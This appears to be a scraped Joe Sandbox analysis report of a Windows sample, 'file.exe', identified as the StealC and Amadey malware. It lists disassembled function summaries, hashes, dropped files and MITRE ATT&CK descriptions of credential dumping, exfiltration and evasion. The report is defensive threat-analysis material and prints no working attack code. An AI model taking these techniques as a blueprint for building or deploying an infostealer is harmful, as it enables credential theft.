String ID: 0KSl
API String ID: 1967447596-2016568952
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 847d72b1b44d160f42a3349bbb3a362f71770e38b2f8c6e4252dd28702b1c388
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: E3E086F1B507054ADB08D9789C0A56A71C8EB752A87084A35EC23C6BC8FF54E9D08162

Function 6C503850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C57F860), ref: 6C50385C
ReleaseSRWLockExclusive.KERNEL32(6C57F860,?), ref: 6C503871

Strings

,Wl, xrefs: 6C50387A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Wl
API String ID: 17069307-1380049295
Opcode ID: 57f6dd8fc75f6a0b1e5992858c8d2cdcd4d47ff8e341c602423e552411493ebf
Instruction ID: ec9c611b60b101bda0d84e3a94ca1c39f1c0bc974e2d922fc6a54d42ba29412d
Opcode Fuzzy Hash: 57f6dd8fc75f6a0b1e5992858c8d2cdcd4d47ff8e341c602423e552411493ebf
Instruction Fuzzy Hash: 1DE0DF32A06B289B8722EF968C0598A3BB8FF436903064245E41967A11C770D4C086F9

Function 6C50BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C50BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C50BEF5

Strings

cryptbase.dll, xrefs: 6C50BEF0

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 45db4ac4c411eacda56d39d1ea1a6e8ca16967af336cf1760ecc84e302d64aad
Instruction ID: 4cae2481300c055dbbf6b2eb883bee0ccc401244c4662f6a813ce8deec2a86bc
Opcode Fuzzy Hash: 45db4ac4c411eacda56d39d1ea1a6e8ca16967af336cf1760ecc84e302d64aad
Instruction Fuzzy Hash: E2D013313C4508EBDB51BF508D09F5637749701725F10C425FB55D4A51C7F19494CF65

Function 6C54B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C54B2C9,?,?,?,6C54B127,?,?,?,?,?,?,?,?,?,6C54AE52), ref: 6C54B628

Part of subcall function 6C5490E0: free.MOZGLUE(?,00000000,?,?,6C54DEDB), ref: 6C5490FF
Part of subcall function 6C5490E0: free.MOZGLUE(?,00000000,?,?,6C54DEDB), ref: 6C549108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C54B2C9,?,?,?,6C54B127,?,?,?,?,?,?,?,?,?,6C54AE52), ref: 6C54B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C54B2C9,?,?,?,6C54B127,?,?,?,?,?,?,?,?,?,6C54AE52), ref: 6C54B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C54B127,?,?,?,?,?,?,?,?), ref: 6C54B74D

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a7aec308e8f347fc8886444b11a766597add5bb077dd5ebe317565b7e5b2a173
Instruction ID: 0cd5691873c1305af26853c67a7a5081e2d701cd9dfa9c14a2b934223a071cc0
Opcode Fuzzy Hash: a7aec308e8f347fc8886444b11a766597add5bb077dd5ebe317565b7e5b2a173
Instruction Fuzzy Hash: 6551DFB1A05A168FDB14EF18CD8476EB7B5FF85304F56C52DC85AABB00DB31A804CBA1

Function 6C54DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C53FF2A), ref: 6C54DFFD

Part of subcall function 6C5490E0: free.MOZGLUE(?,00000000,?,?,6C54DEDB), ref: 6C5490FF
Part of subcall function 6C5490E0: free.MOZGLUE(?,00000000,?,?,6C54DEDB), ref: 6C549108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C53FF2A), ref: 6C54E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C53FF2A), ref: 6C54E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C53FF2A), ref: 6C54E0FE

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ba93c59249929107f9ae0fe052a8f4decacdb3959a3e2da34d69bc1420b25851
Instruction ID: 38f8e5dd522ede0b18d68578bcfc25a853523766a7e271620dcd3eaaaa54ca84
Opcode Fuzzy Hash: ba93c59249929107f9ae0fe052a8f4decacdb3959a3e2da34d69bc1420b25851
Instruction Fuzzy Hash: 2341B3B1604216CFEB14CF68DC8075EB7B6AB45309F158939D52ADBB40E7B1E904CBE2

Function 6C546E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C546EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C546EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C546F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C546F5C

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: cfd7c251d7a158d7a8a0992a92832484608ed4c6e247e771650252d25a5d636c
Instruction ID: 9e46fe47bbc72ec639a003be178d6753a0c3cae1030c3e080f07fbbf0f9ab5c3
Opcode Fuzzy Hash: cfd7c251d7a158d7a8a0992a92832484608ed4c6e247e771650252d25a5d636c
Instruction Fuzzy Hash: 1031E471A1060A8FDB04CF2CCD80BAE73E9EB84304F508639D45AC7655EF31E659C7A1

Function 6C55B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C500A4D), ref: 6C55B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C500A4D), ref: 6C55B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C500A4D), ref: 6C55B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C500A4D), ref: 6C55B67F

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d06c18e6f851f4c0b2bd16bcdf5aafa3e7a7cb31d63909962427e31d538d19ca
Instruction ID: 012878f21076eab8384a55567d528be8e095320018f7ecdf404a4468473a5b55
Opcode Fuzzy Hash: d06c18e6f851f4c0b2bd16bcdf5aafa3e7a7cb31d63909962427e31d538d19ca
Instruction Fuzzy Hash: C031C871A012268FDB10DF58CC4865EB7F5FF81314F56856AC8069B741EB31E925CBE1

Function 6C52F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C52F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C52F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C52F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C52F668

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 6c326f11f7ec266263ebab79abe0ee09a5f2fd97f206142a9da8c3d8a3bec230
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 74313E71B00224AFDB14CF5ADCC0A9E77F5EBC4358B188A39EA498BB15D735F9448B90

Function 6C5426B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5426C1
free.MOZGLUE(?), ref: 6C5426E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5426FF
free.MOZGLUE ref: 6C54270D

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 66052c20000ae4bf62b9fcb90765e488b7b74c05cb218aaa7da1d16a5cf169a1
Instruction ID: 5c6bc3c539edee39cce282ad31c6ac32d35a273fa29dad6d6eeb905744ec846c
Opcode Fuzzy Hash: 66052c20000ae4bf62b9fcb90765e488b7b74c05cb218aaa7da1d16a5cf169a1
Instruction Fuzzy Hash: 31F0F4B2B012205BFB009A18DC88A5BB3A9EF41358B514035EA1AC3B02E731F958C7A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFCGDAAKFHIDBFIDBKFH

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

C:\ProgramData\HCAFIJDGHCBFHJKFCGIE

C:\ProgramData\IDHIDBAE

C:\ProgramData\IDHJEBGIEBFIJKEBFBFH

C:\ProgramData\JJDBFCAEBFIJJKFHDAECGDAEGI

C:\ProgramData\KFHJJJKK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre